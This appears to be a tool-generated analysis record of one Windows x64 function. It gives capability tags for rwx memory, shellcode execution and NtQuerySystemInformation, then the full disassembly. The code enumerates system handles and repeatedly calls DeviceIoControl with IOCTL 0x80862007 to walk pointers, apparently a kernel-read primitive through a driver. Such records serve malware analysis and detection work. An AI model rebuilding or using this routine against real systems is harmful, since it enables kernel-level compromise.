Function at 0x14000a160
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xc8
movaps xmmword [rsp + 0xb0], xmm6
mov r14, rcx
mov rax, qword [0x1402b9cc8]
xor rax, rsp
mov qword [rsp + 0xa8], rax
mov dword [rsp + 0x78], 0
xor edi, edi
lea r9, [rsp + 0x78]
mov ecx, 0x40
xor edx, edx
xor r8d, r8d
call sub.ntdll.dll_NtQuerySystemInformation
cmp eax, 0xc0000004
jne 0x14000a5b0
xor ebx, ebx
mov rsi, qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rbp, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea rdi, [rsp + 0x78]
nop
mov rcx, rbx
xor edx, edx
mov r8d, 0x8000
call rsi
mov edx, dword [rsp + 0x78]
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 4
call rbp
mov rbx, rax
mov r8d, dword [rsp + 0x78]
mov ecx, 0x40
mov rdx, rax
mov r9, rdi
call sub.ntdll.dll_NtQuerySystemInformation
cmp eax, 0xc0000004
je 0x14000a1d0
test eax, eax
js 0x14000a594
test rbx, rbx
je 0x14000a594
cmp qword [rbx], 0
je 0x14000a599
mov r12, rbx
add r12, 0x10
mov ebp, 1
xor eax, eax
xor esi, esi
mov qword [rsp + 0x48], r14
jmp 0x14000a25a
mov eax, ebp
add ebp, 1
cmp qword [rbx], rax
jbe 0x14000a2a5
lea rax, [rax + rax*4]
xor edi, edi
mov r13, rsi
cmp qword [r12 + rax*8 + 0x10], r14
sete r14b
jne 0x14000a272
mov rsi, qword [r12 + rax*8]
mov r15, qword [r12 + rax*8 + 8]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov eax, eax
mov dil, r14b
shl edi, 2
cmp r15, rax
cmove r13, rsi
mov rsi, r13
mov eax, 6
cmovne edi, eax
cmp edi, 6
mov r14, qword [rsp + 0x48]
je 0x14000a250
test edi, edi
je 0x14000a250
xor edi, edi
mov rcx, rbx
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test rsi, rsi
je 0x14000a5b0
mov qword [rsp + 0x70], 0
add rsi, 8
je 0x14000a5ae
movaps xmm6, xmmword [0x140210de0]
movaps xmmword [rsp + 0x80], xmm6
mov qword [rsp + 0x90], rsi
lea rax, [rsp + 0x70]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], 8
mov dword [rsp + 0x50], 0
lea rbx, [rsp + 0x50]
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x80]
mov rcx, r14
mov edx, 0x80862007
mov r9d, 0x28
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
xor edi, edi
test eax, eax
je 0x14000a5b0
mov rax, qword [rsp + 0x70]
test rax, rax
je 0x14000a5b0
mov qword [rsp + 0x68], 0
add rax, 8
je 0x14000a5ae
movaps xmmword [rsp + 0x80], xmm6
mov qword [rsp + 0x90], rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], 8
mov dword [rsp + 0x50], 0
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x80]
mov rcx, r14
mov edx, 0x80862007
mov r9d, 0x28
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
xor edi, edi
test eax, eax
je 0x14000a5b0
mov rax, qword [rsp + 0x68]
test rax, rax
je 0x14000a5b0
mov qword [rsp + 0x60], 0
add rax, 0x28
je 0x14000a5ae
movaps xmmword [rsp + 0x80], xmm6
mov qword [rsp + 0x90], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], 8
mov dword [rsp + 0x50], 0
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x80]
mov rcx, r14
mov edx, 0x80862007
mov r9d, 0x28
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
xor edi, edi
test eax, eax
je 0x14000a5b0
mov rax, qword [rsp + 0x60]
test rax, rax
je 0x14000a5b0
xorps xmm0, xmm0
movaps xmmword [rsp + 0x50], xmm0
add rax, 0x58
je 0x14000a5ae
movaps xmmword [rsp + 0x80], xmm6
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], rbx
mov qword [rsp + 0xa0], reloc.WS2_32.dll_recv
mov dword [rsp + 0x7c], 0
lea rax, [rsp + 0x7c]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x80]
mov rcx, r14
mov edx, 0x80862007
mov r9d, 0x28
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x14000a5ae
movzx r15d, word [rsp + 0x50]
test r15, r15
je 0x14000a5ae
mov ebx, r15d
and ebx, 0xfffffffe
add rbx, 2
mov rcx, rbx
call fcn.1400ad8c8
mov rsi, r14
mov r14, rax
xor edi, edi
mov rcx, rax
xor edx, edx
mov r8, rbx
call fcn.1401d5110
mov rdx, qword [rsp + 0x58]
mov rcx, rsi
mov r8, r14
mov r9, r15
call fcn.140008350
test al, al
je 0x14000a58a
mov word [rsp + 0x50], 0
mov rdx, qword [rsp + 0x60]
add rdx, 0x58
lea r8, [rsp + 0x50]
mov r9d, reloc.WS2_32.dll_recv
mov rcx, rsi
call fcn.140008400
mov edi, eax
mov rcx, r14
call fcn.1400ad894
jmp 0x14000a5b0
test rbx, rbx
je 0x14000a5ae
xor edi, edi
mov rcx, rbx
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x14000a5b0
xor edi, edi
mov rcx, qword [rsp + 0xa8]
xor rcx, rsp
call fcn.1400adbe0
mov eax, edi
movaps xmm6, xmmword [rsp + 0xb0]
add rsp, 0xc8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret